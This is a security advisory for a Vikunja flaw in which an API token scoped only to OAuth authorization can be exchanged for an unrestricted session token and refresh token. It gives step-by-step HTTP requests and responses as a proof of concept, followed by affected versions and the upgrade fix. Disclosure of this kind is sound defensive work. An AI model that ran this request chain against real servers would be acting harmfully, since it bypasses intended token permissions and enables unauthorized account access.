GHSA-v3p6-34mc-hj7v CVE-2026-57458 GO-2026-6750
Vikunja: Scoped API token can mint unrestricted OAuth session credentials
- Severity
- 8.1 / 10
- High · CVSS 3.1
- Exploit chance (EPSS)
- 0.33%
- Chance of exploitation in the next 30 days. Higher than 26.19% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-269 Improper Privilege Management
- Fix
2.4.0- Upgrade code.vikunja.io/api to this version or later
Description
Summary
A scoped API token can bypass its declared permissions by using the OAuth authorization flow to mint normal session credentials.
A token limited to:
{"oauth":["authorize"]}
can call /api/v1/oauth/authorize, receive an OAuth authorization code, exchange it at /api/v1/oauth/token, and obtain a normal bearer JWT plus refresh token. The resulting credentials are not restricted by the original API-token permissions.
Affected Component
- Scoped API tokens
- OAuth authorization flow
POST /api/v1/oauth/authorizePOST /api/v1/oauth/token
Impact
A narrowly scoped API token with only oauth.authorize can be converted into normal session credentials for the same user.
This bypasses the intended API-token permission boundary. An attacker who obtains or is delegated such a limited token can mint a normal JWT and refresh token, then access routes outside the original token scope.
Runtime validation showed that the original scoped token could not access GET /api/v1/user, but the minted OAuth access token could access:
GET /api/v1/userGET /api/v1/projects
No cross-user access, privilege escalation to admin, or access to another account was validated.
Technical Details
The issue is caused by an authentication-context mismatch between scoped API-token authentication and OAuth authorization-code issuance.
The vulnerable chain is:
- A scoped API token authenticates the request and sets the current user context.
/api/v1/oauth/authorizeaccepts that API-token-authenticated user as a valid OAuth resource owner.- The OAuth authorization endpoint issues an authorization code.
/api/v1/oauth/tokenexchanges that code for a normal bearer JWT and refresh token.- The resulting credentials are not bound to the original API-token permissions.
Relevant code paths:
-
pkg/routes/routes.go- registers
/api/v1/oauth/authorizein an authenticated API route group that also accepts scoped API tokens
- registers
-
pkg/models/api_routes.go- exposes non-CRUD subroutes as API-token permissions
- exposes the OAuth authorization endpoint under the
oauthpermission group
-
pkg/routes/api_tokens.go- stores
api_tokenandapi_userin the request context during API-token authentication
- stores
-
pkg/user/user.go- treats
api_useras an authenticated current user
- treats
-
pkg/modules/auth/oauth2server/authorize.go- uses the current user and issues an OAuth authorization code
-
pkg/modules/auth/oauth2server/token.go- exchanges the authorization code for a normal JWT and refresh token
Steps to Reproduce
1. Create a scoped API token
Create an API token with only the following permission:
{"oauth":["authorize"]}
Observed response:
201 Created
The returned token had only the oauth.authorize permission.
2. Negative control: direct access with scoped token fails
Request:
GET /api/v1/user
Authorization: Bearer <scoped-api-token>
Observed response:
401 Unauthorized
Response body:
{"code":11,"message":"missing, malformed, expired or otherwise invalid token provided"}
This confirms that the scoped token cannot directly access the normal user route.
3. Obtain an OAuth authorization code with the scoped token
Request:
POST /api/v1/oauth/authorize
Authorization: Bearer <scoped-api-token>
Content-Type: application/json
Body:
{
"response_type": "code",
"client_id": "vikunja",
"redirect_uri": "vikunja-flutter://callback",
"code_challenge": "<pkce-s256-challenge>",
"code_challenge_method": "S256"
}
Observed response:
200 OK
Response body:
{
"code": "<redacted>",
"redirect_uri": "vikunja-flutter://callback",
"state": ""
}
The scoped API token successfully obtained an OAuth authorization code.
4. Exchange the authorization code for session credentials
Request:
POST /api/v1/oauth/token
Content-Type: application/json
Body:
{
"grant_type": "authorization_code",
"code": "<redacted>",
"client_id": "vikunja",
"redirect_uri": "vikunja-flutter://callback",
"code_verifier": "<original-pkce-verifier>"
}
Observed response:
200 OK
Response body:
{
"access_token": "<redacted>",
"token_type": "bearer",
"expires_in": 600,
"refresh_token": "<redacted>"
}
The authorization code was exchanged for a normal access token and refresh token.
5. Use the minted access token on normal routes
Request:
GET /api/v1/user
Authorization: Bearer <minted-oauth-access-token>
Observed response:
200 OK
Additional scope check:
GET /api/v1/projects
Authorization: Bearer <minted-oauth-access-token>
Observed response:
200 OK
The minted OAuth access token could access normal non-OAuth routes that the original scoped API token could not access.
Expected Behavior
A scoped API token should not be able to obtain credentials with broader permissions than its declared scope.
/api/v1/oauth/authorize should require a normal user session or another authentication context suitable for OAuth authorization-code issuance. API-token-authenticated requests should not be accepted for minting OAuth authorization codes.
Actual Behavior
A token scoped only to oauth.authorize can obtain an OAuth authorization code and exchange it for a normal JWT plus refresh token.
The minted credentials are not restricted by the original API-token permissions.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| code.vikunja.io/api | >= 2.3.0, < 2.4.0 |
2.4.0 |
| code.vikunja.io/api | all versions |
No fix yet |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
code.vikunja.io/api Go → 2.4.0
- go
go get code.vikunja.io/api@v2.4.0 && go mod tidy
Severity breakdown
CVSS 3.1 8.1
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Weakness
CWE-269: Improper Privilege Management
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.
How to prevent it
- Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- Architecture and Design: Follow the principle of least privilege when assigning access rights to entities in a software system.
- Architecture and Design: Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-m687-p538-r5hp Vikunja: Permissive Cross-domain Security Policy trusts every localhost origin which should not be trusted | Medium | Also affects code.vikunja.io/api |
| GHSA-fmmf-xq98-g327 Vikunja: Write-level project members can delete admin-tier link shares through an unloaded permission check | Medium | Also affects code.vikunja.io/api |
| GHSA-pjr3-86v4-5p7w Vikunja: Explicit lower-permission share on a sub-project is silently overridden by an inherited parent permission (broken access control / privilege-management regression in v2.6.0) | Medium | Also affects code.vikunja.io/api |
| GHSA-hjx8-qv73-f7cm Vikunja: Webhooks and link shares survive every revocation path, so a removed collaborator keeps a live feed | High | Also affects code.vikunja.io/api |
| GHSA-fprf-r6rv-xg99 Vikunja: Saved filter creation with an empty filter string recalculates task positions across all tenants | Medium | Also affects code.vikunja.io/api |
| GHSA-4hv6-xc92-j86g Vikunja: WebSocket authentication ignores server-side session state, so revoked sessions keep receiving live pushes | High | Also affects code.vikunja.io/api |
| GHSA-w2ch-4xgr-22ww Vikunja: Task relation deletion does not check read access to the other task, allowing cross-project relation removal | Low | Also affects code.vikunja.io/api |
| GHSA-8wvg-r2j4-3737 Vikunja: Assignee email addresses disclosed to read-only project members via the task assignees endpoint | Medium | Also affects code.vikunja.io/api |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor